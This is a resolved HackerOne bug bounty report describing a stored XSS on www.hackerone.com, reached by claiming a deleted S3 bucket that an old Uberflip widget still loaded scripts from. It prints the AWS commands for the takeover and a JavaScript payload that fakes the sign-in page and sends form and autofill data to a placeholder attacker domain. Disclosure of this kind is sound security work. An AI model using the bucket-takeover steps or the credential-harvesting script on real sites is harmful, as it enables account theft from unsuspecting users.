Stored XSS on www.hackerone.com due to deleted S3-bucket from old page_widget
Medium
H
HackerOne
Submitted None
Actions:
Reported by
fransrosen
Vulnerability Details
Technical details and impact analysis
Hi,
I hope you all are good! Here's a funny little bug :) I tried making the most out of it and hope you'll like it.
As you probably know, you're proxying `https://www.hackerone.com/resources` to `read.uberflip.com`. Uberflip has done a great job isolating content for hubs between custom domains pointing to them, so it wasn't that easy to find something interesting here. However, after a while I noticed that there's an old concept called "page widgets" that are still present cross-customers for Uberflip under `/read/page_widget/XXX` where `XXX` is a numeric ID of a widget.
I have no idea how these page widgets are created, but a lot of them seem old. Like, *really* old. Most of them used `http` to load any additional assets which prevented `https://www.hackerone.com` from loading any of the HTTP-assets, but after some digging I did find a few widget-IDs that used HTTPS to load javascript.
One of those widgets looked like this:
```html
<meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no">
<meta name="robots" content="noindex, nofollow">
<title>Flipbook Widget</title></head>
<body style="margin:0; padding:0; background:transparent; overflow:hidden;"><div id="widget" style="float:left;"> <script id='vspoverlayrun'
codecredit='CopyRight_VSPWorldwide_Productions'
videofolder='hosted'
projectname='vmags43_overlay'
alignvideo='bottommiddle'
offsetx='0'
offsety='0'
waittime='1000'
autoplay='yes'
videowidth='300'
videoheight='480'
videoscale='1'
videoscalemobile='1'
posterscale='0.5'
clickvideo='close'
autodim='0'
autodimcolor='#000000'
src='https://s3.amazonaws.com/vspcode/vspoverlayrun1.js'></script></div></body></html>
```
What was funny with this one was that the S3-bucket `vspcode` did not exist. I could now claim this bucket and run javascript on `https://www.hackerone.com`:
```
$ aws s3api create-bucket --profile frans --bucket vspcode
{
"Location": "/vspcode"
}
$ echo "alert(document.domain + ':' + location.href);" > vspoverlayrun1.js
$ aws s3 cp vspoverlayrun1.js s3://vspcode/ --acl public-read --profile frans
upload: ./vspoverlayrun1.js to s3://vspcode/vspoverlayrun1.js
```
I could then visit the widget and see:
{F1771181}
As you're already aware, the `www`-subdomain is still isolated from the app-domain at `https://hackerone.com`. However, the concept of separating an app using `www` vs apex is – I would say – not a standard concept at all. This means that for example password managers will actually help the user by still suggesting auto completion on `www` if the saved login is on the apex-domain. This applies for example both to Safari and Chrome:
{F1771182}
{F1771183}
So I made a javascript that will replace the full content of the page with the sign-in-form of `https://hackerone.com`. The only difference is that it'll log any events interacting with the inputs:
```js
history.pushState('','Sign in', 'https://www.hackerone.com/users/sign_in')
function log() {
var x = new FormData(document.forms[0]);
(new Image()).src='https://MY-DOMAIN/hackerone/?' + btoa(JSON.stringify(Object.fromEntries(x.entries())))
};
document.body.parentElement.innerHTML = 'login-page-of-hackerone.com';
```
This allows me to see any actions taken or any auto-completion triggering on these forms on my own host:
{F1771184}
### PoC
Here's how my page looks like:
{F1771180}
Here's a video showing the concept of loading the website:
{F1771179}
And here's the vulnerable URL:
```
https://www.hackerone.com/resources/read/page_widget/413780
```
Regards,
Frans
## Impact
#
Report Details
Additional information and metadata
State
Closed
Substate
Resolved
Submitted
Weakness
Cross-site Scripting (XSS) - Stored